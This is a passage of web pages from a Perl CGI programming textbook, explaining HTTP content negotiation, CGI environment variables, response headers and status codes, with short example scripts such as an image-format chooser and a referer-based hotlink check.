The Accept header list contains HTTP media types in the type/subtype format used by the Content-Type header, followed by optional quality factors (asterisks serve as wildcards). Quality factors are floating-point numbers between and 1 that indicate a preference for a particular type; the default is 1. Servers are expected to examine the Accept media types and return data that is preferred by the browser. When multiple values have the same quality factor, the more specific one (i.e., where the quality factor is specified or the media type is not a wildcard) has higher priority.

In the previous example, documents would be returned with the following priority:

  1. text/html

  2. image/jpeg or image/gif

  3. text/plain

  4. */* (anything else)

In reality, media type negotiation is not often used because it is unwieldy for a browser to list the media types of all documents it supports each time it makes a request. The majority of browsers today specify only new or less common image formats in addition to */*. Examples of the newer formats are image/p-jpeg (progressive JPEG) or image/png. (PNG was created as an open alternative to GIF, which has patent issues; see Chapter 13, "Creating Graphics on the Fly"). Web servers generally do not support media type negotiation for static documents, but we will look at a CGI script that does this in the next chapter.

2.6.2. Internationalization

Although media type negotiation is becoming outdated, other forms of content negotiation are gaining much more importance. Internationalization has become a new arena where content negotiation plays an important role. Providing a document to members of other countries can mean two things: supporting other translations and possibly supporting other character sets. The Roman alphabet, the Cyrillic alphabet, and Kanji, for example, use different character sets. HTTP supports these forms of negotiation with the Accept-Language and Accept-Charset headers. Examples of these headers are:

Accept-Charset: iso-8859-5, iso-8859-1;q=0.5
Accept-Language: ru, en-gb;q=0.5, en;q=0.4

The first line indicates that the server should return the content in Cyrillic if possible or Western Roman otherwise. The language specifies Russian as the first choice, with British English as the second, and other forms of English as the third. Note that a single asterisk can be used in place of any of these values to represent a wildcard match. The default character set, unless specified, is US-ASCII or ISO-8859-1 (US-ASCII is a subset of ISO-8859-1).

Most web servers support language negotiation automatically for static documents. For example, if you perform a new installation of Apache, it will install multiple copies of the "It Worked!" welcome file in /usr/local/apache/htdocs. The files all share the index.html base name but have different extensions indicating the language code: index.html.en, index.html.fr, index.html.de, etc. If you point your browser at index.html, change the preferred language in your browser, and then reload the page, you should see it in another language.

2.6.3. Encoding

The final form of content negotiation supports encoding. Options for encoding include gzip , compress, and identity (no encoding). Here is an example header specifying that the browser supports compress and gzip :

Accept-Encoding: compress, gzip

A server may be able to speed up the download of a large document to this client by sending an encoded version of the document. The browser should decode the document automatically for the user.

Previous | Home | Next
2.5. Proxies | Book Index | 2.7. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

2.7. Summary

Congratulations! You just made it through HTTP, the most complicated part of learning CGI. Everything from now on builds upon what we have learned here. And everything else is a lot more fun since you actually get to write code. In fact, we start the next chapter by looking at a CGI script.

Previous | Home | Next
2.6. Content Negotiation | Book Index | 3. The Common Gateway Interface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Common Gateway Interface (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 3. The Common Gateway Interface

Contents:

The CGI Environment
Environment Variables
CGI Output
Examples

Now that we have explored HTTP in general, we can return to our discussion of CGI and see how our scripts interact with HTTP servers to produce dynamic content. After you have read this chapter, you'll understand how to write basic CGI scripts and fully understand all of our previous examples. Let's get started by looking at a script now.

This script displays some basic information, including CGI and HTTP revisions used for this transaction and the name of the server software:

#!/usr/bin/perl -wT

print <<END_OF_HTML;
Content-type: text/html

<HTML>
<HEAD>
    <TITLE>About this Server</TITLE>
</HEAD>
<BODY>
<H1>About this Server</H1>
<HR>
<PRE>
  Server Name:       $ENV{SERVER_NAME}
  Listening on Port: $ENV{SERVER_PORT}
  Server Software:   $ENV{SERVER_SOFTWARE}
  Server Protocol:   $ENV{SERVER_PROTOCOL}
  CGI Version:       $ENV{GATEWAY_INTERFACE}
</PRE>
<HR>
</BODY>
</HTML>
END_OF_HTML

When you request the URL for this CGI script, it produces the output shown in Figure 3-1.

Figure 3-1. Output from server_info.cgi

This simple example demonstrates the basics about how scripts work with CGI:

  • The web server passes information to CGI scripts via environment variables, which the script accesses via the %ENV hash.

  • CGI scripts produce output by printing an HTTP message on STDOUT.

  • CGI scripts do not need to output full HTTP headers. This script outputs only one HTTP header, Content-type.

These details define what we will call the CGI environment . Let's explore this environment in more detail.

3.1. The CGI Environment

CGI establishes a particular environment in which CGI scripts operate. This environment includes such things as what current working directory the script starts in, what variables are preset for it, where the standard file handles are directed, and so on. In return, CGI requires that scripts be responsible for defining the content of the HTTP response and at least a minimal set of HTTP headers.

When CGI scripts are executed, their current working directory is typically the directory in which they reside on the web server; at least this is the recommended behavior according to the CGI standard, though it is not supported by all web servers (e.g., Microsoft's IIS). CGI scripts are generally executed with limited permissions. On Unix systems, CGI scripts execute with the same permission as the web server which is generally a special user such as nobody, web, or www. On other operating systems, the web server itself may need to be configured to set the permissions that CGI scripts have. In any event, CGI scripts should not be able to read and write to all areas of the file system. You may think this is a problem, but it is actually a good thing as you will learn in our security discussion in Chapter 8, "Security".

3.1.1. File Handles

Perl scripts generally start with three standard file handles predefined: STDIN, STDOUT, and STDERR. CGI Perl scripts are no different. These file handles have particular meaning within a CGI script, however.

3.1.1.1. STDIN

When a web server receives an HTTP request directed to a CGI script, it reads the HTTP headers and passes the content body of the message to the CGI script on STDIN. Because the headers have already been removed, STDIN will be empty for GET requests that have no body and contain the encoded form data for POST requests. Note that there is no end-of-file marker, so if you try to read more data than is available, your CGI script will hang, waiting for more data on STDIN that will never come (eventually, the web server or browser should time out and kill this CGI script but this wastes system resources). Thus, you should never try to read from STDIN for GET requests. For POST requests, you should always refer to the value of the Content-Length header and read only that many bytes. We'll see how to read this information in Chapter 4, "Forms and CGI" in Chapter 4, "Forms and CGI".

3.1.1.2. STDOUT

Perl CGI scripts return their output to the web server by printing to STDOUT. This may include some HTTP headers as well as the content of the response, if present. Perl generally buffers output on STDOUT and sends it to the web server in chunks. The web server itself may wait until the entire output of the script has finished before sending it onto the client. For example, the iPlanet (formerly Netscape) Enterprise Server buffers output, while Apache (1.3 and higher) does not.

3.1.1.3. STDERR

CGI does not designate how web servers should handle output to STDERR, and servers implement this in different ways, but they almost always produces a 500 Internal Server Error reply. Some web servers, like Apache, append STDERR output to the web server's error log, which includes other errors such as authorization failures and requests for documents not on the server. This is very helpful for debugging errors in CGI scripts.

Other servers, such as those by iPlanet, do not distinguish between STDOUT and STDERR; they capture both as output from the script and return them to the client. Nevertheless, outputting data to STDERR will typically produce a server error because Perl does not buffer STDERR, so data printed to STDERR often arrives at the web server before data printed to STDOUT. The web server will then report an error because it expects the output to start with a valid header, not the error message. On iPlanet, only the server's error message, and not the complete contents of STDERR, is then logged.

We'll discuss strategies for handling STDERR output in our discussion of CGI script debugging in Chapter 15, "Debugging CGI Applications".

Previous | Home | Next
2.7. Summary | Book Index | 3.2. Environment Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Environment Variables (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

3.2. Environment Variables

CGI scripts are given predefined environment variables that provide information about the web server as well as the client. Much of this information is drawn from the headers of the HTTP request. In Perl, environment variables are available to your script via the global hash %ENV .

You are free to add, delete, or change any of the values of %ENV. Subprocesses created by your script will also inherit these environment variables, along with any changes you've made to them.

3.2.1. CGI Environment Variables

The standard CGI environment variables listed in Table 3-1 should be available on any server supporting CGI. Nonetheless, if you loop through all the keys in %ENV, you will probably not see all the variables listed here. If you recall, some HTTP request headers are used only with certain requests. For example, the Content-length header is sent only with POST requests. The environment variables that map to these HTTP request headers will thus be missing when its corresponding header field is missing. In other words, $ENV{CONTENT_LENGTH} will only exist for POST requests.

Table 3-1. Standard CGI Environment Variables

Environment Variable | Description
AUTH_TYPE | The authentication method used to validate a user. This is blank if the request did not require authentication.
CONTENT_LENGTH | The length of the data (in bytes) passed to the CGI program via standard input.
CONTENT_TYPE | The media type of the request body, such as "application/x-www-form-urlencoded ".
DOCUMENT_ROOT | The directory from which static documents are served.
GATEWAY_INTERFACE | The revision of the Common Gateway Interface that the server uses.
PATH_INFO | Extra path information passed to a CGI program.
PATH_TRANSLATED | The translated version of the path given by the variable PATH_INFO.
QUERY_STRING | The query information from requested URL (i.e., the data following "?").
REMOTE_ADDR | The remote IP address of the client making the request; this could be the address of an HTTP proxy between the server and the user.
REMOTE_HOST | The remote hostname of the client making the request; this could also be the name of an HTTP proxy between the server and the user.
REMOTE_IDENT | The user making the request, as reported by their ident daemon. Only some Unix and IRC users are likely to have this running.
REMOTE_USER | The user's login, authenticated by the web server.
REQUEST_METHOD | The HTTP request method used for this request.
SCRIPT_NAME | The URL path (e.g., /cgi/program.cgi) of the script being executed.
SERVER_NAME | The server's hostname or IP address.
SERVER_PORT | The port number of the host on which the server is listening.
SERVER_PROTOCOL | The name and revision of the request protocol, e.g., "HTTP/1.1".
SERVER_SOFTWARE | The name and version of the server software that is answering the client request.

Any HTTP headers that the web server does not recognize as standard headers, as well as a few other common headers, are also available to your script. The web server follows these rules for creating the name of the environment variable:

  • The field name is capitalized.

  • All dashes are converted to underscores.

  • The prefix HTTP_ is added to the name.

Table 3-2 provides a list of some of the more common of these environment variables.

Table 3-2. Additional CGI Environment Variables

Environment Variable | Description
HTTP_ACCEPT | A list of the media types the client can accept.
HTTP_ACCEPT_CHARSET | A list of the character sets the client can accept.
HTTP_ACCEPT_ENCODING | A list of the encodings the client can accept.
HTTP_ACCEPT_LANGUAGE | A list of the languages the client can accept.
HTTP_COOKIE | A name-value pair previously set by the server.
HTTP_FROM | The email address of the user making the request; most browsers do not pass this information, since it is considered an invasion of the user's privacy.
HTTP_HOST | The hostname of the server from the requested URL (this corresponds to the HTTP 1.1 Host field).
HTTP_REFERER | The URL of the document that directed the user to this CGI program (e.g., via a hyperlink or via a form).
HTTP_USER_AGENT | The name and version of the client's browser.

A secure server typically adds many more environment variables for secure connections. Much of this information is based on X.509 and provides information about the server's and possibly the browser's certificates. Because you really won't need to understand these details in order to write CGI scripts, we won't get into X.509 or secure HTTP transactions in this book. For more information, refer to RFC 2511 or the public key infrastructure working group's web site at http://www.imc.org/ietf-pkix/.

The names of the environment variables supplied to your script for secure connections vary by server. The HTTPS environment variable (see Table 3-3) is commonly supported, however, and useful to test whether your connection is secure; unfortunately its values vary between servers. Refer to your server's documentation for more information or use Example 3-1 or Example 3-2 to generate data for your server.

Table 3-3. Common Environment Variable for Secure Servers

Environment Variable | Description
HTTPS | This variable can be used as a flag to indicate whether the connection is secure; its values vary by server (e.g., "ON" or "on" when secure and blank or "OFF" when not).

Finally, the web server may provide additional environment variables beyond those mentioned in this section. Most web servers also allow the administrator to add environment variables via a configuration file. You might take advantage of this feature if you have several CGI scripts that all share common configuration information, such as the name of the database server to connect to. Having the variable defined once in the web server's configuration file makes it easy to change later.

3.2.2. Examining Environment Variables

Because browsers and web servers may provide additional environment variables to your script, it's often helpful to have a list of environment variables that is specific to your web server. Example 3-1 shows a short script that is easy to remember and type in when you find yourself working on a new system. It generates a handy list of environment variables specific to that web server. Remember that the browser may also affect this list. For example, HTTP_COOKIE will only appear if the browser supports cookies, if cookies have not been disabled, and if the browser had received a previous request from this web server to set a cookie.

Example 3-1. env.cgi

#!/usr/bin/perl -wT
# Print a formatted list of all the environment variables

use strict;

print "Content-type: text/html\n\n";

my $var_name;
foreach $var_name ( sort keys %ENV ) {
    print "<P><B>$var_name</B><BR>";
    print $ENV{$var_name};
}

This simply produces an alphabetic list of the environment variable names and their values, shown in Figure 3-2.

Because this is simply a quick-and-dirty script, we omitted some details that should be included in production CGI scripts, and which are included in the other examples. For example, we did not print a valid HTML document (it is missing the enclosing HTML, HEADER, and BODY tags). This should certainly be added if the script were to grow beyond a few lines or if you intended for people other than yourself to use it.

Example 3-2 shows a more elaborate version that displays all of the environment variables that CGI and your web server define, along with a brief explanation of the standard variables.

Example 3-2. env_info.cgi

#!/usr/bin/perl -wT

use strict;

my %env_info = (
    SERVER_SOFTWARE     => "the server software",
    SERVER_NAME         => "the server hostname or IP address",
    GATEWAY_INTERFACE   => "the CGI specification revision",
    SERVER_PROTOCOL     => "the server protocol name",
    SERVER_PORT         => "the port number for the server",
    REQUEST_METHOD      => "the HTTP request method",
    PATH_INFO           => "the extra path info",
    PATH_TRANSLATED     => "the extra path info translated",
    DOCUMENT_ROOT       => "the server document root directory",
    SCRIPT_NAME         => "the script name",
    QUERY_STRING        => "the query string",
    REMOTE_HOST         => "the hostname of the client",
    REMOTE_ADDR         => "the IP address of the client",
    AUTH_TYPE           => "the authentication method",
    REMOTE_USER         => "the authenticated username",
    REMOTE_IDENT        => "the remote user is (RFC 931): ",
    CONTENT_TYPE        => "the media type of the data",
    CONTENT_LENGTH      => "the length of the request body",
    HTTP_ACCEPT         => "the media types the client accepts",
    HTTP_USER_AGENT     => "the browser the client is using",
    HTTP_REFERER        => "the URL of the referring page",
    HTTP_COOKIE         => "the cookie(s) the client sent"
);

print "Content-type: text/html\n\n";

print <<END_OF_HEADING;

<HTML>
<HEAD>
    <TITLE>A List of Environment Variables</TITLE>
</HEAD>

<BODY>
<H1>CGI Environment Variables</H1>

<TABLE BORDER=1>
  <TR>
    <TH>Variable Name</TH>
    <TH>Description</TH>
    <TH>Value</TH>
  </TR>
END_OF_HEADING

my $name;

# Add additional variables defined by web server or browser
foreach $name ( keys %ENV ) {
    $env_info{$name} = "an extra variable provided by this server"
        unless exists $env_info{$name};
}

foreach $name ( sort keys %env_info ) {
    my $info = $env_info{$name};
    my $value = $ENV{$name} || "<I>Not Defined</I>";
    print "<TR><TD><B>$name</B></TD><TD>$info</TD><TD>$value</TD></TR>\n";
}

print "</TABLE>\n";
print "</BODY></HTML>\n";

Figure 3-2. Output of env.cgi

The %env_info hash contains the standard environment variable names and their descriptions. The while loop iterates over %ENV with the each command to add any additional environment variables defined by the current web server. Then the foreach loop iterates through the combined list and displays the name, description, and value of each environment variable. Figure 3-3 shows what the output will look in a browser window.

Figure 3-3. Output of env_info.cgi

This covers most of CGI input, but we have not discussed how to read the message body for POST requests. We will return to that topic when we discuss forms in the next chapter. Right now, let's look at CGI output.

Previous | Home | Next
3. The Common Gateway Interface | Book Index | 3.3. CGI Output
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CGI Output (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

3.3. CGI Output

Every CGI script must print a header line, which the server uses to build the full HTTP headers of its response. If your CGI script produces invalid headers or no headers, the web server will generate a valid response for the client -- generally a 500 Internal Server Error message.

Your CGI has the option of displaying full or partial headers. By default, CGI scripts should return only partial headers.

3.3.1. Partial Headers

CGI scripts must output one of the following three headers:

  • A Content-type header specifying the media type of the content that will follow

  • A Location header specifying a URL to redirect the client to

  • A Status header with a status that does not require additional data, such as 204 No Response

Let's review each of these options.

3.3.1.1. Outputting documents

The most common response for CGI scripts is to return HTML. A script must indicate to the server the media type of content it is returning prior to outputting any content. This is why all of the CGI scripts you have seen in the previous examples contained the following line:

print "Content-type: text/html\n\n";

You can send other HTTP headers from a CGI script, but this header field is the minimum necessary in order to output a document. HTML documents are by no means the only form of media type that may be outputted by CGI scripts. By specifying a different media type, you can output any type of document that you can imagine. For example, Example 3-4 later in this chapter shows how to return a dynamic image.

The two newlines at the end the Content-type header tell the web server that this is the last header line and that subsequent lines are part of the body of the message. This correlates to the extra CRLF that we discussed in the last chapter, which separates HTTP headers from the content body (see the upcoming sidebar, the sidebar "Line Endings").

Line Endings

Many operating systems use different combinations of line feeds and carriage returns to represent the end of a line of text. Unix systems use a line feed; Macintosh systems use a carriage return; and Microsoft systems use both a carriage return and a line feed, often abbreviated as CRLF. HTTP headers require a CRLF as well -- each header line must end with a carriage return and a line feed.

In Perl (on Unix), a line feed is represented as "\n", and a carriage return is represented as "\r". Thus, you may wonder why our previous examples have included this:

print "Content-type: text/html\n\n";

and not this:

print "Content-type: text/html\r\n\r\n";

The second format would work, but only if your script runs on Unix. Because Perl both began on Unix and has become a cross-platform language, printing "\n" in a script will always output the operating system's default line ending.

There is a simple solution. CGI requires that the web server translate your operating system's conventional line ending into a CRLF for you. Thus for the sake of portability, it is always best practice to print a simple line feed ("\n"): Perl will output the operating system's default line ending, and the web server will automatically convert this to the CRLF required by HTTP.

3.3.1.2. Forwarding to another URL

Sometimes, it's not necessary to build an HTML document with your CGI script. In fact, unless the output varies from one visit to another, it is a good idea to create a simple, static HTML page (in addition to the CGI script), and forward the user to that page by using the Location header. Why? Interface changes are far more common than program logic changes, and it is much easier to reformat an HTML page than to make changes to a CGI script. Plus, if you have multiple CGI scripts that return the same message, then having them all forward to a common document reduces the number of resources you need to maintain. Finally, you get better performance. Perl is fast, but your web server will always be faster. It's a good idea to take advantage of any opportunity you have to shift work from your CGI scripts to your web server.

To forward a user to another URL, simply print the Location header with the URL to the new location:

print "Location: static_response.html\n\n";

The URL may be absolute or relative. An absolute URL or a relative URL with a relative path is sent back to the browser, which then creates another request for the new URL. A relative URL with a full path produces an internal redirect. An internal redirect is handled by the web server without talking to the browser. It gets the contents of the new resource as if it had received a new request, but it then returns the content for the new resource as if it is the output of your CGI script. This avoids a network response and request; the only difference to users is a faster response. The URL displayed by their browser does not change for internal redirects; it continues to show the URL of the original CGI script. See Figure 3-4 for a visual display of server redirection.

Figure 3-4. Server redirection

When redirecting to absolute URLs, you may include a Content-type header and content body for the sake of older browsers, which may not forward automatically. Modern browsers will immediately fetch the new URL without displaying this content.

3.3.1.3. Specifying status codes

The Status header is different than the other headers because it does not map directly to an HTTP header, although it is associated with the status line. This field is used only to exchange information between the CGI script and the web server. It specifies the status code the server should include in the status line of the request. This field is optional: if you do not print it, the web server will automatically add a status of 200 OK to your output if you print a Content-type header, and a status of 302 Found if you print a Location header.

If you do print a status code, you are not bound to use the status code's associated message, but you should not try to use a status code for something other than for which it was intended. For example, if your CGI script must connect to a database in order to generate its output, you might return 503 Database Unavailable if the database has no free connections. The standard error message for 503 messages is Service Unavailable , so our database message is an appropriately similar use of this status code.

Whenever you return an error status code, you should also return a Content-type header and a message body describing the reason for the error in human terms. Some browsers provide their own messages to users when they receive status codes indicating an error, but most do not. So unless you provide a message, many users will get an empty page or a message telling them "The document contains no data." If you don't want to admit to having a problem, you can always fall back to the ever-popular slogan, "The system is currently unavailable while we perform routine maintenance."

Here is the code to report our database error:

print <<END_OF_HTML;
Status: 503 Database Unavailable
Content-type: text/html

<HTML>
<HEAD><TITLE>503 Database Unavailable</TITLE></HEAD>
<BODY>
  <H1>Error</H1>
  <P>Sorry, the database is currently not available. Please
    try again later.</P>
</BODY>
</HTML>
END_OF_HTML

Below is a short description of the common status headers along with when (and whether) to use them in your CGI scripts:

200 OK

200 is by far the most common status code returned by web servers; it indicates that the request was understood, it was processed successfully, and a response is included in the content. As we discussed earlier, the web server automatically adds this header when you print the required Content-type header, so the only time you need to print this status yourself is to output complete nph- headers, which we discuss in the next section.

204 No Response

204 indicates that the request was okay, it was processed successfully, but no response is provided. When a browser receives this status code, it does nothing. It simply continues to display whatever page it was displaying before the request. A 200 response without a content body, on the other hand, may produce a "Document contains no data" error in the user's browser. Web users generally expect feedback, but there are some instances when this response (or lack of response) makes sense. One example is a situation when you need client code such as JavaScript or Java to report something to the web server without updating the current page.

301 Moved Permanently

301 indicates that the URL of the requested resource has changed. All 300-level responses must contain a Location header field specifying a new URL for the resource. If the browser receives a 301 response to a GET request, it should automatically fetch the resource from the new location. If the browser receives a 301 response to a POST request, however, the browser should confirm with the user before redirecting the POST request. Not all browsers do this, and many even change the request method of the new request to GET.

Responses with this status code may include a message for the user in case the browser does not handle redirection automatically. Because this status code indicates a permanent move, a proxy or a browser that has a cached copy of this response will simply use it in the future instead of reconfirming the change with the web server.

302 Found

302 responses function just like 301 responses, except that the move is temporary, so browsers should direct all future requests to the original URL. This is the status code that is returned to browsers when your script prints a Location header (except for full paths, see Section 3.3.1.2, "Forwarding to another URL" earlier). As with 301 status codes, browsers should check with the user before forwarding a POST request to another URL. Because the 302 status has become so popular, and because so many browsers have been guilty of silently changing POST requests to GET requests during the redirect, HTTP/1.1 more or less gave up on trying to get compliance on this status code and defines two new status codes: 303 See Other and 307 Temporary Redirect.

303 See Other

303 is new for HTTP/1.1. It indicates that the resource has temporarily moved and that it should be obtained from the new URL via a GET request, even if the original request method was POST. This status code allows the web server (and the CGI script developer) to explicitly request the incorrect behavior that 302 responses caused in most browsers.

307 Temporary Redirect

307 is new for HTTP/1.1. It also indicates a temporary redirection. However, HTTP/1.1 browsers that support this status code must prompt the user if they receive this status code in response to a POST request and must not automatically change the request method to GET. This is the same behavior required for 302 status codes, but browsers that implement this code should actually do the right thing.

Thus 302, 303, and 307 all indicate the same thing except when the request was a POST. In that case, the browser should fetch the new URL with a GET request for 303, confirm with the user and then fetch the new URL with a POST request for 307, and do either of those for 302.

400 Bad Request

400 is a general error indicating that the browser sent an invalid request due to bad syntax. Examples include an invalid Host header field or a request with content but without a Content-type header. You should not have to return a 400 status because the web server should recognize these problems and reply with this error status code for you instead of calling your CGI script.

401 Unauthorized

401 indicates that the requested resource is in a protected realm. When browsers receive this response, they should ask the user for a login and password and resend the original request with this additional information. If the browser again receives a 401 status code, then the login was declined. The browser generally notifies the user and allows the user to reenter the login information. 401 responses should include a WWW-Authenticate header field indicating the name of the protected realm.

The web server handles authentication for you (although mod_perl lets you dig into it if you wish) before invoking your CGI scripts. Therefore, you should not return this status code from CGI scripts; use 403 Forbidden instead.

403 Forbidden

403 indicates that the client is not allowed to access the requested resource for some reason other than needing a valid HTTP login. Remember reading in Chapter 1, "Getting Started ", that CGI scripts must have the correct permissions set up in order to run? Your browser will receive a 403 status if you attempt to run CGI scripts that do not have the correct execute permissions.

You might return this status code for certain protected CGI scripts if the user fails to meet some criteria such as having a particular IP address, a particular browser cookie, etc.

404 Not Found

Undoubtedly, you have run across this status code. It's the online equivalent of a disconnected phone number. 404 indicates that the web server can't find the resource you asked for. Either you misentered a URL or you followed a link that is old and no longer accurate.

You might use this status code in CGI scripts if the user passes extra path information that is invalid.

405 Not Allowed

405 indicates that the resource requested does not support the request method used. Some CGI scripts are written to support only POST requests or only GET requests. This status would be an appropriate response if the wrong request method is received; in practice, this status code is not often used. 405 replies must include an Allow header containing a list of valid request methods for the resource.

408 Request Timed Out

When a transaction takes a long time, the web browser usually gives up before the web server. Otherwise, the server will return a 408 status when it has grown tired of waiting. You should not return this status from CGI scripts. Use 504 Gateway Timed Out instead.

500 Internal Server Error

As you begin writing CGI scripts, you will become far too familiar with this status. It indicates that something happened on the server that caused the transaction to fail. This almost always means a CGI script did something wrong. What could a CGI script do wrong you ask? Lots: syntax errors, runtime errors, or invalid output all might generate this response. We'll discuss strategies for debugging unruly CGI scripts in Chapter 15, "Debugging CGI Applications".

503 Service Unavailable

503 indicates that the web server is unable to respond to the request due to a high volume of traffic. These responses may include a Retry-After header with the date and time that the browser should wait until before retrying. Generally web servers manage this themselves, but you might issue this status if your CGI script recognizes that another resource (such as a database) required by the script has too much traffic.

504 Gateway Timed Out

504 indicates that some gateway along the request cycle timed out while waiting for another resource. This gateway could be your CGI script. If your CGI script implements a time-out handler when calling another resource, such as a database or another Internet server, then it should return a 504 response.

We list these status codes here to be complete, but keep in mind that you do not have to print your own status code, even for errors. Although sending a status code to report an error might be the most appropriate action according to the HTTP protocol, you may prefer to simply redirect users to a help page or return a summary of the error as normal output (with a 200 OK status).

3.3.2. Complete (Non-Parsed) Headers

Thus far, all the CGI scripts that we've discussed simply return partial header information. We leave it up to the server to fill in the other headers and return the document to the browser. We don't have to rely on the server though. We can also develop CGI scripts that generate a complete header.

CGI scripts that generate their own headers are called nph (non-parsed headers) scripts. The server must know in advance whether the particular CGI script intends to return a complete set of headers. Web servers handle this differently, but most recognize CGI scripts with a nph- prefix in their filename.

When sending complete headers, you must at least send the status line plus the Content-type and Server headers. You must print the entire status line; you should not print the Status header. As you will recall, the status line includes the protocol and version string (e.g., "HTTP/1.1"), but as you should recall, CGI provides this to you in the environment variable SERVER_PROTOCOL. Always use this variable in your CGI scripts, instead of hardcoding it, because the version in the SERVER_PROTOCOL may vary for older clients.

Example 3-3 provides a simple example that illustrates nph scripts.

Example 3-3. nph-count.cgi

#!/usr/bin/perl -wT

use strict;

print "$ENV{SERVER_PROTOCOL} 200 OK\n";
print "Server: $ENV{SERVER_SOFTWARE}\n";
print "Content-type: text/plain\n\n";

print "OK, starting time consuming process ... \n";

# Tell Perl not to buffer our output
$| = 1;

for ( my $loop = 1; $loop <= 30; $loop++ ) {
    print "Iteration: $loop\n";
    ## Perform some time consuming task here ##
    sleep 1;
}

print "All Done!\n";

nph scripts were more common in the past, because versions of Apache prior to 1.3 buffered the output of standard CGI scripts (those generating partial headers) but did not buffer the output of nph scripts. By creating nph scripts, your output was sent immediately to the browser as it was generated. However Apache 1.3 no longer buffers CGI output, so this feature of nph scripts is no longer needed with Apache. Other web servers, such as iPlanet Enterprise Server 4, buffer both standard CGI as well as nph output. You can find out how your web server handles buffering by running Example 3-3.

Save the file as nph-count.cgi and access it from your browser; then save a copy as count.cgi and update it to output partial headers by commenting out the status line and the Server header:

# print "$ENV{SERVER_PROTOCOL} 200 OK\n";
# print "Server: $ENV{SERVER_SOFTWARE}\n";

Access this copy of the CGI script and compare the result. If your browser pauses for thirty seconds before displaying the page, then the server is buffering the output; if you see the lines displayed in real time, then it is not.

Previous | Home | Next
3.2. Environment Variables | Book Index | 3.4. Examples
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Examples (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

3.4. Examples

At this point, we have covered the fundamentals of how CGI scripts work, but the concepts may still seem a little abstract. The following sections present examples that demonstrate how to implement what we've discussed.

3.4.1. Check the Client Browser

CGI scripts are not restricted to generating HTML. Example 3-4 produces an image after choosing an image format that the browser supports. Recall that the browser sends the Accept HTTP header listing the media types it supports. Actually, browsers generally specify only the newer media types they support and pass a wildcard to match everything else. In this example, we'll send an image in the new PNG format if the browser specifies that it supports PNG, and a JPEG otherwise.

You may ask why we would want to do this. Well, JPEG images use a lossy form of compression. Although they are ideal for natural images like photographs, images with sharp lines and details (such as screenshots or text) can become blurred. PNG images, like GIF images, do not use lossy compression. They are typically larger than JPEG images (it depends on the image), but they provide sharp detail. And unlike GIFs, which are limited to 256 colors, PNGs can support millions of colors and even eight-bit transparency. So we will provide a high-color, high-detail PNG if possible, or a JPEG otherwise.

If a user calls this with http://localhost/cgi/image_fetch.cgi/new_screenshot.png, he or she will actually get new_screenshot.png or new_screenshot.jpeg depending on what the browser supports. This allows you to include a single link in your HTML pages that works for everyone. Example 3-4 shows the source to our CGI script.

Example 3-4. image_fetch.cgi

#!/usr/bin/perl -wT

use strict;

my $image_type = $ENV{HTTP_ACCEPT} =~ m|image/png| ? "png" : "jpeg";
my( $basename ) = $ENV{PATH_INFO} =~ /^(\w+)/;
my $image_path = "$ENV{DOCUMENT_ROOT}/images/$basename.$image_type";

unless ( $basename and -B $image_path and open IMAGE, $image_path ) {
    print "Location: /errors/not_found.html\n\n";
    exit;
}

my $buffer;
print "Content-type: image/$image_type\n\n";
binmode;

while ( read( IMAGE, $buffer, 16_384 ) ) {
    print $buffer;
}

We set $image_type to "png" or "jpeg" depending on whether the browser sent image/png as part of its Accept header. Then we set $basename to the first word of the additional path information, which is "new_screenshot" in our previous example. We only care about the base name because we add our own extension when we actually fetch the file.

Our images are in the images directory at the root of the web server's document tree, so we build a path to the image and assign it to $image_path. Note that we build this path before we validate that the URL we received actually contains additional path information. If $ENV{PATH_INFO} is empty or starts with a nonalphanumeric character, then obviously this path is invalid. That's okay though; we will validate this in the next step.

We delayed the validation so we can perform all of our tests at once. We test that the additional path information contains a name, that the full path to the file we constructed points to a binary file, and that we are able to open the file. If any of these tests fail, then we simply report that the file is not found. We do this by forwarding to a static page that contains our error message. Creating a single, static document for general errors like 404 Not Found is an easy way to produce error pages that are customized to match your site design and are easy to maintain.

If we opened the file successfully, we read and print the file in 16KB increments. Calling binmode is necessary for systems like Win32 or MacOS that do not use newlines as the end-of-line character; it doesn't hurt on Unix systems.

3.4.2. User Authentication and Identification

In addition to domain-based security, most HTTP servers also support another method of security, known as user authentication. We discussed user authentication briefly in the last chapter. When configured for user authentication, specified files or directories within a given realm are set up to allow access only by certain users. A user attempting to open the URLs associated with these files is prompted for a name and password.

The username and password is checked by the server, and if legitimate, the user is allowed access. In addition to allowing the user access to the protected file, the server also maintains the user's name and passes it to any subsequent CGI programs that are called. The server passes the username in the $ENV{REMOTE_USER} environment variable.

A CGI script can therefore use server authentication information to identify users. Here is a snippet of code that illustrates what you can do with the $ENV{REMOTE_USER} environment variable:

$remote_user = $ENV{REMOTE_USER};

if ( $remote_user eq "mary" ) {
    print "Welcome Mary, how is your company doing these days?\n";
} elsif ( $remote_user eq "bob" ) {
    print "Hey Bob, how are you doing? I heard you were sick.\n";
}

3.4.3. Restricting Image Hijacking

One of the great benefits of the Web is its flexibility. One person can create a page on their server and include links to others' pages on other servers. These links can even include links to images on other servers. Unfortunately, if you have popular images, you may not appreciate this last feature. Say, for example, you are an artist and you display your images on your web site. You may not want other sites to include your artwork in their web pages simply by including image links pointing to your server. One solution, shown in Example 3-5, is to check the URL that referred the user to the image via the Referer HTTP header field.[5]

[5]The Referer header is not as reliable as you might hope. Not all browsers provide it, and as we will see in Chapter 8, "Security", it's possible for clients to provide a false Referer header. However, in this scenario, the culprits are other servers, not the users themselves, and it is not possible for other servers to cause clients to provide false headers.

Example 3-5. check_referer.cgi

#!/usr/bin/perl -wT

use strict;

# The directory where images are stored; this shouldn't be in the
# server's doc tree so users can't browse images except via this script.
my $image_dir = "/usr/local/apache/data/images";

my $referer  = $ENV{HTTP_REFERER};
my $hostname = quotemeta( $ENV{HTTP_HOST} || $ENV{SERVER_NAME} );

if ( $referer and $referer !~ m|^http://$hostname/| ) {
    display_image( "copyright.gif" );
}
else {
